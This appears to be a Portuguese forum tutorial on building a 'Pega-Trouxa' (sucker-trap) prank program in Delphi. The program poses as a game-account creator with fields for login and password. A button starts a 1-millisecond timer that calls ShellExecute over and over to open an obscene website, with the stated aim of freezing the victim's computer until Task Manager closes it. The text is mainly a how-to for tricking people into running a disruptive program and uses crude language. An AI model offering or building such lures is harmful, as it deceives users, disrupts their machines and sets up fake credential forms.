Criando um Simples Pega Trouxa

Muitos sabem o que é um Pega-Trouxa, mas pra quem não sabe, ta ai:

Pega-Trouxa, é um programinha que quando alguém não tem o que fazer, faz ele, e manda para os trouxas caírem.


Muitos São feitos falando que vão fazer cadastros ou dar contas em jogos, outros fazem falando que vão dar sugestões.



Segue o tutorial:


Este aqui, é apenas com links...


A unica coisa que você vai conseguir fazer é travar o computador do infeliz que abrir seu programa, Vou mostrar como fazer ao apertar um botão,





Ao Apertar o Botão


Abra um Novo Project, e nele Crie um Botão.

Adicione na Uses : ShellApi

Caso queira fazer uma de criar conta em jogos, no qual os trouxas mais caem, Crie uns Check Box, e coloque os nomes do jogos.

Não coloque código nenhum nesses Check box


Coloque Dois Edits, um com o Text "Login", e outro com Text "Senha"

Crie um Button, e nele coloque o Caption: Criar Conta.

Declare o Seguinte codigo:

Código:

Timer1.Enabled=True

Crie um Timer e nele Declare o Seguinte Código

Código:

ShellExecute(Handle,'open','Algum site em que tenha um pica girando e que só de pra fechar com Gerenciador de Tarefas',nil,nil,SW_NORMAL);

Deixe o Enabled dele como False
E o Interval deixe apenas em 1